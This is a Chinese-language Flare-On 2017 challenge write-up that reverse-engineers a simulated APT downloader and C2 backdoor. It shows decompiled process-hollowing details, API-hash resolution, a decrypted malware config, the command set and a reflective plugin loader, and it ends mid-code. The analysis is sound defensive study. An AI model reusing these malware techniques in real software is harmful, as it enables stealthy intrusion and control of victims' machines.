2017 Flare-On Challenge 12 missing (APT Attack Analysis)
30 Jun 2018 Flare-On Reverse Packet Malware-Protocolmissing
的情境式是 APT attack 事件,需要透過封包解密以及逆向 Binary,來還原整個攻擊過程,取得 flag。其中包含還原 Malware Protocol,Malware Config,C2 Server 與 Client,受害者資訊,Plugins (加密/壓縮/指令功能),BMP 圖檔等,最後會在附錄附上解密的程式碼與解密後的封包內容。
目錄:
- 第零階段: 初步分析
- coolprogram.exe
- 20170801_1300_filtered.pacp
- 第一階段: 透過封包解密還原 Client (用於與 C2 溝通)
- 封包解密
- Process Hollowing
- 第二階段: 分析 C2 Client (secondstage.exe)
- 初始化函數 (Windows Shellcode 技巧)
- 解密設定檔 (Malware config)
- 透過 Socket 溝通
- 第三階段: 利用預設指令集下載/安裝 Plugins (Processor default)
- 指令集
- 受害電腦的資訊
- Plugins 資訊
- 還原 Plugins
- 第四階段: 解析封包結構
- Decrypt Header (size: 0x24)
- Compress Header (size: 0x1c)
- Processor Header (size: 0x24)
- 第五階段: 分析 Plugins 解密封包與還原 C2 Server
- Decrypt ID (CRPT)
- Compress ID (COMP)
- Processor ID (CMD)
- C2 Server (srv2.exe)、pse.exe 與 cf.exe 以及 Client 封包資訊整理
- 第六階段: 解密 C2 Server 的封包
- Decrypt ID (CRPT)
- Compress ID (COMP)
- Server 的資訊
- Server 封包資訊整理
- 第七階段: 還原 lab10.zip.cry
- 分析加密程式 cf.exe
- 取得 flag
- 附錄一: 解密封包的 PacketDecode.py
- 附錄二: 完整封包解密: 還原 C2 Server 與 Client 的溝通過程
- Client 封包解密
- Server 封包解密
第零階段: 初步分析
[missing] 共提供兩個檔案,一個是封包檔 20170801_1300_filtered.pacp
,另一個則是 32-bits PE 檔 coolprogram.exe
。
coolprogram.exe
透過 Detect It Easy
工具發現是使用 Delphi 語言編譯生成的 PE 檔。經過 IDA 逆向後,可以推測 coolprogram.exe
的功能是 downloader,會從指定的網站 (maybe.suspicious.to/secondstage
) 下載一個加密的文件,並將其解密執行。
20170801_1300_filtered.pacp
20170801_1300_filtered.pacp
內有兩個 TCP 連線,用 Wireshark 可以看出由 IP 192.168.221.91
連線到 IP 52.0.104.200
- 192.168.221.91:49815 <=> 52.0.104.200:80
從指定的網站 maybe.suspicious.to/secondstage
GET request,回傳的封包內容是被加密過的,推測這裡的封包行為是下載了一個加密的檔案
- Stream: 192.168.221.91:49816 <=> 52.0.104.200:9443
第一階段: 透過封包解密還原 Client (用於與 c2 溝通)
此階段的目的是利用 coolprogram.exe
來解密封包,還原封包中加密的檔案,該檔案推測是 Client,用於與 C2 溝通。
-
Analysis files
File Format Name Context Pcap 20170801_1300_filtered.pacp 192.168.221.91:49815 <-> 52.0.104.200:80 PE coolprogram.exe downloader -
Dump file
File Format Name Context PE secondstage.exe C2 Client
封包解密
首先,從封包中取得加密的資料,做法是將封包匯出存成 HTTP 格式的檔案 (File > Export Objects > HTTP)
我們可以建立簡單的 Python Socket 來將匯出的封包資料傳送給 coolprogram.exe
解密,進而取得解密的檔案。但由於 coolprogram.exe
已經將 “目的地 Domain” 寫死為 maybe.suspicious.to
,因此建立 Python Socket 前,我們需要修改 “目的地 Domain”,可行的做法是透過 Patch 將 Domain 改成 localhost,但這個方法的缺點是每次重新跑都需要 Patch,實在有點麻煩。
因此,我的做法是透過修改 hosts
設定檔 (Windows 系統的 hosts 設定檔路徑是 C:\WINDOWS\system32\drivers\etc\hosts
),將 maybe.suspicious.to
導向 127.0.0.1
,這樣一來,執行 coolprogram.exe
時就會連線至本機,我們就可以建立 Python Socket 來接收加密的封包資料了。
在順利的將封包資料傳給 coolprogram.exe
解密之後,我們要做的事情是”拿出解密後的資料”。我們需要知道檔案的”大小”以及”位置”,並透過 IDA python 來 dump file。檔案的大小可以與原先加密相同,因此可以用 dir
查看封包匯出時的檔案 (secondstage
) 大小來看需要 dump 的 Size 是 119812
C:\Users\Lynn\Desktop\secondstage_pcap 的目錄
2018/06/20 下午 01:18 <DIR> .
2018/06/20 下午 01:18 <DIR> ..
2018/06/20 下午 01:17 119,812 secondstage
1 個檔案 119,812 位元組
2 個目錄 20,530,176,000 位元組可用
值得一提的是 coolprogram.exe
的 sub_410DE8
函數是 “Process Hollowing”。Process Hollowing 是一種惡意程式傀儡的技術。其原理是透過 CreateProcess
建立一個正常的 process 當作目標程式,且 CreationFlag
設為 CREATE_SUSPENDED
,在 coolprogram.exe
之中的目標程式是”預設瀏覽器”。Process Hollowing 關鍵是用 NtUnmapViewOfSection
來 unmap 預設瀏覽器的 sections 再把惡意程式 mapping 進記憶體中,再透過 SetContextThread
設定 Entry Point,最後利用 ResumeThread
來恢復瀏覽器運作,執行惡意行為。
檔案的位置可以透過 IDA 看出在 sub_405D7c
是 memcpy
的功能,其第二個參數 0x4E4AE8
是 PE 的開頭 MZ
得知檔案大小與位置後,可以用 IDA Python 來 dump secondstage.exe
Python>file = GetManyBytes(0x4E4AE8, 119812)
Python>open("secondstage.exe", "wb").write(file)
取得 secondstage.exe
,也就是用於與 c2 溝通的 Client
第二階段: 分析 C2 Client (secondstage.exe
)
secondstage.exe
是一個後門程式,具有 Socket 的功能,用於與 C2 溝通。此外其惡意行為是透過下載模組 (Plugin) 並載入模組,來執行這些惡意功能。從 Main
函數中會看到先初始化函數,接著解密設定檔,最後是透過 Socket 溝通。
初始化函數
首先,值得注意是程式中用到了 Windows Shellcode 中常見的技巧,利用預先計算的函數名稱 hash 來取得所需要的 Windows API 位置,可以隱藏程式中的明文字串來增加分析難度。我們先找到載入 hash 解回 Windows API 的函數是 sub_405060
functions.version = 0x20170417;
functions.size = 392;
functions.hkernel32 = LoadLibraryA("kernel32");
functions.hntdll = LoadLibraryA("ntdll");
functions.hshell32 = LoadLibraryA("shell32");
functions.huser32 = LoadLibraryA("user32");
functions.hadvapi32 = LoadLibraryA("advapi32");
functions.hws2_32 = LoadLibraryA("ws2_32");
functions.hgdi32 = LoadLibraryA("gdi32");
if ( functions.hkernel32
&& functions.hntdll
&& functions.hshell32
&& functions.huser32
&& functions.hadvapi32
&& functions.hws2_32
&& functions.hgdi32 )
{
pdll = &functions.hkernel32;
paddr = &functions.LoadLibraryA;
num = dword_415690[0];
phash = &dword_415690[1];
while ( num )
{
for ( i = 0; i < num; ++i )
{
*paddr = GetProcAddressByHash(*pdll, *phash);
if ( !*paddr )
return result;
++phash;
++paddr;
}
++pdll;
num = *phash;
++phash;
}
result = 1;
}
return result;
}
從函數中可以看到存放 hash 表的位置是 0x415690
25h, 0C8AC8026h, 1FC0EAEEh, 8F8F114h, 8F8F102h, 0F2FC4945h, 723EB0D5h, 67ECDE81h, 3D9972F5h, 95902B19h, 0D0498CD4h, 0D0498CC2h, 0B55AEA5Dh, 399354D8h, 6A3376B7h, 487FE16Bh, 0F3FD1C3h, 0C54374F3h, 6FB89AF0h, 6A582465h, 8D5A50CAh, 9E6FA842h, 69260152h, 12E88BC6h, 3DEF91ACh, 697A6AFEh, 3A35705Fh, 0BF78968Ah, 9C480E32h, 1297812Ch, 9802EF26h, 0A8D1FFE2h, 24C1C735h, 46318AD1h, 81D5763Eh, 32432452h, 279DEAC1h, 7B4842C1h, 0Ch, 5DB8FB17h, 5DBCF19Ah, 5DB8F59Eh, 4E58F56Fh, 2DD937DEh, 3DD92766h, 3E78F54Eh, 3E78F34Ah, 87B7BC52h, 0A84D25A0h, 0B81E8F04h, 728DA026h, 1, 0DF91E0A8h, 3, 0ABBC681Bh, 8EBEF5B1h, 7CBD2247h, 7, 8AD7DE22h, 453DB143h, 72760BB8h, 0B9D41C39h, 28E9E291h, 87FEDB50h, 5CB5EF72h, 13h, 0CDDE757Dh, 0E5971F6h, 0E797764h, 4C7C5841h, 939D7D9Ch, 0FC7AF16Ah, 8E9BF775h, 0EDD8FE8Ah, 8E878072h, 0D8923733h, 0C5A7764h, 9E7D3188h, 3C797B7Ah, 0D939F838h, 95E4A5D7h, 9400A044h, 0F44318C6h, 0B909D088h, 5D99726Ah, 6, 9E90B462h, 4894DAFCh, 0DF91A857h, 48B87EFCh, 6B3470D5h, 5AF0017Ch
透過 Debug 後發現,這些函數位置會被存放在一個結構中,我們可以在 IDA Pro 的 Local Type (快速鍵 Alt+5
) 中進行定義,幫助後續的分析
struct __declspec(align(4)) FUNCTIONS
{
DWORD version;
DWORD size;
HMODULE hkernel32;
HMODULE hntdll;
HMODULE hshell32;
HMODULE huser32;
HMODULE hadvapi32;
HMODULE hws2_32;
HMODULE hgdi32;
void *(__cdecl *malloc)(int);
void (__cdecl *free)(void *);
DWORD mtrand;
DWORD (__cdecl *EncodeAndSend)(Client *, char *, int);
HMODULE (__stdcall *LoadLibraryA)(char *);
DWORD (__stdcall *GetProcAddress)(HMODULE, char *);
DWORD CreateFileA;
DWORD CreateFileW;
DWORD GetFileSizeEx;
DWORD CloseHandle;
DWORD GetVolumeInformationW;
void (__cdecl *Sleep)(int);
DWORD (__cdecl *ExitProcess)(DWORD);
DWORD OutputDebugStringA;
DWORD OutputDebugStringW;
DWORD GetDiskFreeSpaceExW;
DWORD GetDriveTypeW;
DWORD GetLogicalDrives;
DWORD ReadFile;
DWORD WriteFile;
DWORD WaitForSingleObject;
DWORD CreateThread;
DWORD VirtualQuery;
DWORD CreateEventW;
DWORD TerminateProcess;
DWORD GetTickCount;
LCID (__stdcall *GetUserDefaultLCID)();
BOOL (__stdcall *GetComputerNameW)(wchar_t *, DWORD *);
LPVOID (__stdcall *VirtualAlloc)(LPVOID lpAddress, DWORD dwSize, MACRO_MEM flAllocationType, MACRO_PAGE);
BOOL (__stdcall *VirtualFree)(LPVOID, DWORD, MACRO_MEM);
HANDLE (__stdcall *CreateMutexW)(LPSECURITY_ATTRIBUTES, BOOL, LPCTSTR);
BOOL (__stdcall *GetVersionExW)(LPOSVERSIONINFO);
DWORD (__cdecl *_GetLastError)();
DWORD GetEnvironmentVariableW;
DWORD CreatePipe;
DWORD SetHandleInformation;
DWORD CreateProcessW;
DWORD PeekNamedPipe;
DWORD FindFirstFileW;
DWORD FindNextFileW;
DWORD FindClose;
void (__cdecl *memcpy)(int, int, int);
void (__cdecl *memset)(int, int, int);
int (__cdecl *memcmp)(int, int, int);
int (__cdecl *strcmp)(int, int, int);
char *(__cdecl *strncpy)(char *, char *, size_t);
wchar_t *(__cdecl *wcsncpy)(wchar_t *, const wchar_t *, size_t);
int (__cdecl *wcscmp)(wchar_t *, wchar_t *);
DWORD wcscat;
DWORD (__cdecl *InitializeCriticalSection)(void *);
DWORD (__cdecl *DeleteCriticalSection)(void *);
void (__stdcall *EnterCriticalSection)(CRITICAL_SECTION *);
void (__stdcall *LeaveCriticalSection)(CRITICAL_SECTION *);
DWORD CommandLineToArgvW;
int (__stdcall *MessageBoxW)(HWND, wchar_t *, wchar_t *, DWORD);
DWORD GetSystemMetrics;
DWORD NtUserGetDC;
DWORD CryptAcquireContextW;
DWORD CryptGenRandom;
DWORD CryptReleaseContext;
BOOL (__stdcall *GetUserNameW)(wchar_t *, DWORD *);
BOOL (__stdcall *AllocateAndInitializeSid)(PSID_IDENTIFIER_AUTHORITY, BYTE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, PSID);
BOOL (__stdcall *CheckTokenMembership)(HANDLE, PSID, BOOL *);
PVOID (__stdcall *FreeSid)(PSID);
int (__cdecl *WSAStartup)(WORD, LPWSADATA);
int (__cdecl *recv)(int, int, int, int);
int (__cdecl *send)(int, char *, int, int);
int (__cdecl *shutdown)(SOCKET, MACRO_SD);
int (__cdecl *closesocket)(int);
SOCKET (__cdecl *socket)(MACRO_AF, MACRO_SOCK, int);
WORD (__cdecl *ntohs)(WORD port);
int (__cdecl *connect)(int, struct sockaddr_in *, int);
DWORD (__cdecl *GetLastError)();
int (__cdecl *setsockopt)(int, int, int, char *, int);
int (__cdecl *bind)(int, struct sockaddr *, int);
int (__cdecl *listen)(int, int);
int (__cdecl *accept)(int, struct sockaddr *, int *);
DWORD getpeername;
DWORD inet_addr;
DWORD inet_ntoa;
DWORD gethostbyname;
DWORD gethostname;
DWORD select;
DWORD BitBlt;
DWORD SelectObject;
DWORD GetDIBits;
DWORD DeleteObject;
DWORD CreateCompatibleBitmap;
DWORD CreateCompatibleDC;
};
解密設定檔 (Malware config)
後門程式通常會有一個設定檔,存放連線 C2 Server 所需要的資訊,例如 C2 的 Domain,Port,密碼,群組等等。通常惡意程式研究員也會透過這個設定檔的資訊進一步追蹤惡意程式的家族。解密設定檔的函數是 sub_404FF0
,需要被解密的 Config 在 0x415278
0FEh, 9Fh, 0D8h, 31h, 1, 0C8h, 1Ah, 31h, 0E2h, 47h, 3Dh, 0D8h, 5Eh, 7Ah, 40h, 3Bh, 0E5h, 6Ah, 0E1h, 7Fh, 0AAh, 42h, 0DAh, 58h, 0A7h, 0BAh, 26h, 0B9h, 2 dup(26h), 58h, 89h, 88h, 15h, 8Ah, 3Bh, 4Ch, 0B5h, 7Eh, 0E8h, 0DCh, 0D7h, 13h, 0CAh, 92h, 0E7h, 92h, 7Fh, 18h, 9Ch, 0D6h, 0C8h, 44h, 4Ch, 70h, 3Fh, 50h, 12h, 9Bh, 82h, 76h, 16h, 73h, 93h, 0BCh, 0Eh, 61h, 7Fh, 12h, 5, 0DAh, 3Eh, 9Ah, 5Bh, 49h, 0DBh, 47h, 0Eh, 49h, 0D5h, 0A9h, 37h, 18h, 0C4h, 7, 0D8h, 48h, 3Fh, 0AFh, 0D4h, 0B8h, 0FEh, 8Ah, 3Fh, 0C3h, 3Ch, 0F3h, 0D8h, 0B7h, 5Fh, 0C9h, 0D4h, 89h, 0DBh, 0C3h, 0DEh, 0C7h, 54h, 4, 5Bh, 0CDh, 3, 0F0h, 0F2h, 3Ch, 5Ah, 3Dh, 4Ch, 0A8h, 0EBh, 4Dh, 18h, 91h, 86h, 0BBh, 53h, 95h, 0A1h, 34h, 0C6h, 0E3h, 0FDh, 88h, 0D0h, 0F3h, 87h, 0, 65h, 75h, 7Dh, 0F3h, 57h, 87h, 0D1h, 94h, 0D4h, 2Ah, 0D2h, 0Eh, 31h, 0F7h, 9, 0D3h, 0E5h, 0Eh, 61h, 30h, 0D9h, 50h, 8Ch, 26h, 0DFh, 0CEh, 0A1h, 75h, 7Fh, 80h, 0Ah, 0F9h, 0FAh, 3Bh, 9Dh, 39h, 89h, 0DDh, 9, 3Eh, 0E6h, 0CBh, 74h, 0A1h, 0Dh, 9Dh, 62h, 0E8h, 44h, 17h, 0D9h, 13h, 59h, 5Bh, 0C3h, 71h, 2Bh, 5Eh, 93h, 0B8h, 6Bh, 99h, 2Bh, 55h, 0A4h, 1, 0FDh, 1, 79h, 38h, 71h, 95h, 2Fh, 5, 87h, 1Fh, 6Bh, 2, 0BEh, 35h, 3Ch, 94h, 34h, 89h, 5Bh, 20h, 0Eh, 0BEh, 0B2h, 7Ch, 1Ah, 7Ah, 1Ch, 0A4h, 0B3h, 0BDh, 6Ch, 0AFh, 0E6h, 71h, 0B0h, 1, 0D3h, 42h, 0B7h, 0C1h, 55h, 0AFh, 0D0h, 8Eh, 0E5h, 61h, 0D5h, 6Dh, 0BBh, 0BCh, 68h, 6, 37h, 0B5h, 7Dh, 11h, 80h, 0E3h, 19h, 0Bh, 6Bh, 0D8h, 58h, 2Dh, 9Eh, 0B1h, 0B5h, 9Eh, 0F5h, 9Bh, 86h, 8Dh, 24h, 16h, 0C6h, 0CAh, 9Eh, 7Ah, 17h, 0E6h, 0B6h, 0B1h, 7, 5, 4, 9Ch, 93h, 70h, 0Bh, 69h, 0EAh, 5, 18h, 6Eh, 73h, 52h, 6Dh, 0EAh, 10h, 79h, 9Fh, 3Ch, 0A5h, 60h, 3Dh, 0A8h, 0D4h, 0BBh, 0B2h, 0F9h, 0Bh, 0D4h, 6Dh, 0F8h, 0C1h, 0D5h, 2 dup(3Fh), 0FCh, 3Ch, 4, 48h, 17h, 89h, 85h, 0C9h, 0C2h, 39h, 9Dh, 44h, 4Ah, 0F8h, 9Bh, 0D9h, 1Bh, 13h, 0E8h, 60h, 83h, 2Ch, 0EAh, 0B4h, 0B8h, 31h, 27h, 51h, 1Dh, 8Fh, 0AEh, 22h, 0C1h, 0A2h, 0B3h, 94h, 28h, 70h, 79h, 0EFh, 4Fh, 98h, 75h, 0E6h, 0EAh, 85h, 0B0h, 6Dh, 0F0h, 0E7h, 6Dh, 0CAh, 59h, 64h, 0Ch, 0EFh, 27h, 8Ah, 2Eh, 7, 0A3h, 9, 1Ah, 4Fh, 0E9h, 1Fh, 5Fh, 27h, 0A6h, 53h, 0BBh, 69h, 21h, 66h, 3Ch, 0F9h, 78h, 87h, 0A5h, 9Dh, 2Ch, 0C6h, 13h, 0Fh, 0E0h, 0CBh, 0E0h, 51h, 5Eh, 2 dup(0C8h), 41h, 0DBh, 0ACh, 4Ah, 6Dh, 7Ch, 9Ah, 51h, 28h, 19h, 99h, 14h, 0DEh, 40h, 8Dh, 3Bh, 0A4h, 7Dh, 66h, 43h, 13h, 0D8h, 97h, 23h, 57h, 0A0h, 0C9h, 30h, 83h, 67h, 0D1h, 3Eh, 27h, 4Eh, 0E0h, 8, 25h, 83h, 0FAh, 0D2h, 0C0h, 7, 0AAh, 4Ch, 0F6h, 0B5h, 0F3h, 0BAh, 10h, 80h, 89h, 52h, 77h, 0FCh, 42h, 0E5h, 0C9h, 20h, 0C7h, 0C2h, 2Ch, 4Ah, 8Fh, 0D8h, 0E3h, 83h, 0Eh, 1Ah, 1Fh, 4, 29h, 28h, 17h, 0FAh, 0EEh, 2Bh, 5Ah, 87h, 82h, 0, 64h, 9, 5Ah, 9Ah, 70h, 9Eh, 0AEh, 0A1h, 8Eh, 0E8h, 2Bh, 5Fh, 0F5h, 0Dh, 0E9h, 0DDh, 9Ah, 2, 9Ch, 49h, 2, 0Ah, 0Eh, 9Bh, 54h, 79h, 0CDh, 79h, 0B2h, 0BEh, 20h, 57h, 0C9h, 0A0h, 40h, 0E2h, 0C1h, 0C8h, 0A0h, 9Fh, 0B4h, 80h, 3Ah, 0CFh, 0B4h, 0BAh, 0F6h, 97h, 46h, 54h, 0C3h, 5Dh, 56h, 9Ah, 0F2h, 75h, 0CCh, 0Dh, 0C6h, 0FDh, 0A5h, 63h, 0B7h, 5, 67h, 0CEh, 0A3h, 0F4h, 0C4h, 81h, 6Eh, 26h, 0AFh, 71h, 0C9h, 0DAh, 86h, 58h, 10h, 4Ch, 9Fh, 0, 7Ch, 1Eh, 25h, 0BEh, 9Ah, 0FCh, 22h, 3Ch, 0FCh, 80h, 0DCh, 7Ch, 2Eh, 53h, 65h, 1Ah, 0EBh, 96h, 6Eh, 0D2h, 91h, 80h, 5Ch, 41h, 0D3h, 48h, 9Eh, 0F0h, 0AEh, 45h, 3Dh, 8Eh, 9Eh, 54h, 0B4h, 7Dh, 11h, 7Ah, 3, 91h, 1Ch, 0CAh, 0FFh, 14h, 6Dh, 89h, 0ECh, 0Dh, 81h, 91h, 4Dh, 0C1h, 17h, 0F3h, 0FBh, 7Bh, 0E4h, 0E0h, 75h, 89h, 88h, 0CAh, 77h, 87h, 0C1h, 0C6h, 0CEh, 0E0h, 0DEh, 35h, 6Ah, 91h, 77h, 0A3h, 0B5h, 30h, 5Ch, 0EFh, 23h, 2Dh, 0CBh, 0ACh, 0Ah, 59h, 0E6h, 0C8h, 0B5h, 0A4h, 63h, 6Bh, 0B4h, 2Bh, 86h, 22h, 75h, 72h, 4Ch, 3Dh, 19h, 0EDh, 0EAh, 76h, 80h, 0C6h, 75h, 0D3h, 0A6h, 0DAh, 0E3h, 0CDh, 33h, 5, 32h, 0B1h, 4Dh, 9Fh, 0E7h, 47h, 0B1h, 46h, 0BAh, 0B2h, 2, 0DEh, 90h, 97h, 60h, 0D7h, 0A9h, 81h, 3Dh, 0AEh, 1Bh, 84h, 6Ch, 0B7h, 7Fh, 21h, 7Bh, 19h, 0EAh, 6Ah, 43h, 1Ah, 1Fh, 66h, 0BDh, 9Dh, 2, 0B7h, 18h, 0E8h, 50h, 7Ah, 8, 0ABh, 8Eh, 6Fh, 60h, 3Eh, 3Fh, 5Ah, 0E3h, 2Bh, 5Ah, 0A9h, 57h, 0ECh, 0FBh, 56h, 0DCh, 0F6h, 59h, 0Fh, 7Ch, 0F6h, 0F8h, 95h, 3, 5Ah, 20h, 62h, 11h, 13h, 8Dh, 8Eh, 6Dh, 99h, 68h, 0F3h, 9Ch, 30h, 76h, 90h, 0B3h, 6Bh, 90h, 2Bh, 69h, 0EEh, 53h, 3Ah, 70h, 77h, 18h, 4, 6, 20h, 26h, 4, 0A6h, 0DEh, 54h, 8Eh, 0A1h, 4Eh, 2 dup(0B5h), 0B3h, 0B1h, 73h, 6Bh, 5Ah, 34h, 0D7h, 0EAh, 27h, 76h, 0CFh, 53h, 0ADh, 44h, 80h, 95h, 87h, 0A7h, 65h, 91h, 8, 20h, 12h, 7Ch, 0B0h, 32h, 1, 84h, 5Bh, 21h, 9Ch, 0B6h, 0F7h, 0FAh, 50h, 1Fh, 6Ah, 0D3h, 67h, 31h, 6Fh, 54h, 7Dh, 69h, 0A0h, 76h, 33h, 2Fh, 0D3h, 8Bh, 27h, 0FEh, 0AAh, 7Fh, 23h, 0C4h, 66h, 5Dh, 94h, 8Ch, 0FCh, 14h, 3Eh, 5Ah, 6Bh, 7Ch, 2Fh, 56h, 4Ch, 94h, 0F1h, 2Dh, 0ABh, 0Eh, 4, 0B5h, 15h, 0Dh, 8Bh, 0D0h, 0F2h, 2Dh, 46h, 92h, 16h, 0C4h, 0C0h, 0A6h, 92h, 67h, 0CAh, 0EDh, 0D0h, 0B0h, 27h, 69h, 0DFh, 3Fh, 89h, 5Ah, 0Bh, 0FFh, 0BDh, 0A6h, 0B1h, 0AAh, 22h, 7Eh, 51h, 90h, 5Fh, 3Fh, 0E5h, 94h, 55h, 96h, 71h, 77h, 53h, 0E8h, 0DCh, 59h, 89h, 0F1h, 0FEh, 7Ch, 0C0h, 0ABh, 0FAh, 4Ch, 48h, 71h, 0CEh, 9Ch, 31h, 64h, 28h, 33h, 0BEh, 0Eh, 7Ch, 87h, 16h, 45h, 53h, 0C8h, 3Dh, 52h, 0E6h, 20h, 43h, 53h, 0EBh, 3Ah, 0BBh, 0DEh, 0AFh, 1, 6Fh, 0E7h, 65h, 0AAh, 52h, 0E4h, 0BDh, 0F4h, 0B6h, 2Eh, 0B9h, 0AEh, 0BFh, 0ABh, 0BDh, 7Ah, 18h, 0AAh, 0E5h, 0D2h, 0E4h, 0Eh, 9Ah, 48h, 0F8h, 0AFh, 68h, 12h, 47h, 0FDh, 0Ah, 0C5h, 9Dh, 0E7h, 0C7h, 61h, 91h, 0FBh, 2, 8Eh, 0B5h, 0CEh, 0Ch, 25h, 0Fh, 9Eh, 3Ch, 0F2h, 0CDh, 36h, 42h, 0B9h, 34h, 12h, 0B8h, 76h, 0DAh, 0C4h, 0FAh, 0E9h, 15h, 96h, 38h, 52h, 0B3h, 71h, 0C9h, 7Ah, 0EBh, 0FDh, 0C2h, 0F2h, 94h, 0Ah, 0C8h, 9Fh, 95h, 2Fh, 22h, 77h, 9Dh, 0B0h, 12h, 85h, 14h, 0A5h, 66h, 33h, 51h, 59h
解密後,我們可以獲得這些資訊,也可以將這些資訊建立 Local Type
Config | Context |
---|---|
version | 0x20170417 |
listen port | |
port | 0x24e3 |
host | probably.suspicious.to |
password | welcomepass1!1 |
group | feye2017 cli |
mutext | asdliugasldmgj |
透過 Socket 溝通
Socket 包含了被動連線(0x4039A0
)與主動連線(0x4038B0
)的兩種,主動連線用於在被控主機沒有 Public IP,或透過 NAT 方式上網等情況下使用。
if ( functions.CreateMutexW(NULL, 1, cofig.mutext) && GetLastError() != ERROR_ALREADY_EXISTS )
{
while ( 1 )
{
if ( cofig.listen_port )
{
bzero(&_client, 2896u);
Client::Client(&_client, &functions, &cofig);
Client::InitPlugins(&_client);
Client::WaitServer(&_client);
Client::~Client(&_client);
}
else
{
bzero(&client, 2896u);
Client::Client(&client, &functions, &cofig);
Client::InitPlugins(&client);
Client::ConnectBack(&client);
Client::~Client(&client);
}
functions.Sleep(10000);
}
}
目前為止我們知道 secondstage.exe
會透過 Socket 從 C2 Server 下載模組 (Plugin) 並載入功能,並解密封包。為了動態的逆向分析,我們同樣要修改 hosts
(將 probably.suspicious.to
導向 127.0.0.1
) 與匯出封包,而以往分析惡意程式的封包結構時,是用 wireshark 將資料以 Raw
的格式取出,再進行分析,但這樣的做法會在後續資料處理時,無法呈現封包的來源是 server
或 client
,因此這次打算直接在 wireshark 匯出 json
的格式 (File -> Export Packet Dissections -> As JSON),這樣一來就可以透過 ip.src
來判斷 IP 的來源,拿 data
來組出 Stream
接著,建立 Python Socket 將封包傳送給 secondstage.exe
解密,初步嘗試解密封包結構時,發現除了前幾個 packet 以外,大部分內容都是經過加密或壓縮的。將封包傳給 client 的 PythonSocket.py
程式碼
import socket
import sys
import struct
import json
from pprint import pprint
def read_packet():
with open ('packet.json') as f:
packet = json.load(f)
print len(packet)
return packet
def packet(conn):
packet = read_packet()
for i,j in enumerate(packet):
ip_src = j['_source']['layers']['ip']['ip.src'] # dict
if ip_src == '52.0.104.200': # only server data
try:
data = j['_source']['layers']['data']['data.data'] # get data
data = data.replace(":","")
# pprint(data)
conn.send(data.decode('hex'))
else:
print "----- next packet -----"
if packet[i+1]['_source']['layers']['ip']['ip.src'] == '192.168.221.91': #check next packet for client
recv_data = conn.recv(1024)
print 'got data from client'
except KeyError: # key = 'data'
pass
return 0
#Socket
HOST = '0.0.0.0' # bind
PORT = 9443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Socket created'
#Bind socket to local host and port
try:
s.bind((HOST, PORT))
except socket.error as msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
print 'Socket bind complete'
#Start listening on socket
s.listen(10)
print 'Server start at: %s:%s' %(HOST, PORT)
print 'Wait for connection...'
# connect and send data
while True:
conn, addr = s.accept()
print 'Connected by ', addr
while 1:
#send
g_data = packet(conn)
# conn.send("32303137aff18141240000005e0000005e00000051298f741667d7ed2941950106f505451c0000004200000042000000f37126ad88a5617eaf06000d424c5a21170417200e000000000000000000000000000000155bbf4a1efe1517734604b9d42b80e8770065006c0063006f006d00650070006100730073003100210031000000".decode("hex"))
第三階段: 利用預設指令集下載/安裝 Plugins (Processor default)
processor ID = 155bbf4a1efe1517734604b9d42b80e8
在前面幾個未加密的封包中可以找到一組 ID,155bbf4a1efe1517734604b9d42b80e8
這裡定義此 ID 為預設的 Processor 功能,因為它代表的是 Client (secondstage.exe
) 的指令集,在 secondstage.exe
的 sub_404D60
函數內有各指令的功能。
指令集
command | Action |
---|---|
0x2 | Ping |
0x3 | GetComputerInfo |
0x4 | ListPlugins |
0x5 | StartDownloadPlugin |
0x6 | DowloadPlugin |
0x7 | InstallPlugin 用 CreatePluginObj export 來找 plugin object, 並依照 plugin type (CRPT , COMP , CMD )來管理 |
0x8 | Exit |
0x9 | Unused |
0xa | Unused |
0xb | MessageBox |
0xd | ClearDownloadTask |
0xe | Online: 連線至中繼站, 密碼在 config 中 |
受害電腦的資訊
可以透過 cmd = 0x3
來 取得受害電腦資訊,封包結構如下
Offset | Lenght | Context |
---|---|---|
0x10 | 0x40 | version |
0x50 | 0x80 | computer name |
0xd0 | 0x80 | user name |
0x150 | 0x200 | group name |
0x350 | 0x1c | others info |
封包中還原受害電腦的資訊
Computer Info | context |
---|---|
version | 2.1.0 |
computer name | LARRYJOHNSON-PC |
user name | larry.johnson |
group name | feye2017 srv |
Plugins 資訊
透過 cmd = 0x6
來下載 Plugin,下載時會有一個 Size 為 0x20
的 Header,Header 會提供下載的資訊,包含下載的 Plugin ID 與 Plugin Type 以及下載該 Plugin 的進度
Offset | Length | Contents | Example |
---|---|---|---|
0x64 | 16 bytes | Downloading Plugin’s GUID | c30b1a2dcb489ca8a724376469cf6782 -> rc4 |
0x74 | 4 bytes | type | 43525054 -> CRPT |
0x78 | 4 bytes | offset | 002e0100 |
0x7c | 4 bytes | total size | 002e0100 |
0x80 | 4 bytes | chunksize | 00400000 |
Plugin Type 共有三種
Type | Contents | |
---|---|---|
CRPT | Crypto | 43525054 |
COMP | Compress | 434f4d50 |
CMD | C2 | 434d44 |
還原 Plugins
透過 cmd = 0x7
來安裝 Plugin,可以透過理解程式如何安裝的,來還原 Plugin
安裝步驟
0x4053A0
實作Loadlibrary
並驗證 PE 格式- 驗證資料的開頭為
LM
- offset
0x3c
通常用於找PE
,這裡是惡意程式用來找NOP
- 驗證
FileHeader.Machine
type 是0x3233
- 實做
LoadLibrary
- 用
VirtualAlloc
申請一塊大小是OptionalHeader.SizeOfImage
的記憶體 - 將 PE 的每個 section 複製到 VirtualAddress
- 修正
.reloc
section - 處理 Import Table,載入 dll 並解析 import function
- 用
- 將
OptionalHeader.AddressOfEntryPoint
與0xABCDABCD
做 XOR,來取得 dll 的 Entry Point
安裝 Plugin 的程式碼
if ( image->e_magic != 'ML' ) // MZ
return 0;
PE = (image + image->e_lfanew);
if ( PE->Signature != 'PON' ) // PE
return 0;
if ( PE->FileHeader.Machine != 0x3233 )
return 0;
base = functions.VirtualAlloc(0, PE->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if ( !base )
return 0;
section = (&PE->OptionalHeader + PE->FileHeader.SizeOfOptionalHeader);
functions.memcpy(base, image, PE->OptionalHeader.SizeOfHeaders);
for ( i = 0; i < PE->FileHeader.NumberOfSections; ++i )
{
functions.memcpy(base + section->VirtualAddress, image + section->PointerToRawData, section->SizeOfRawData);
++section;
}
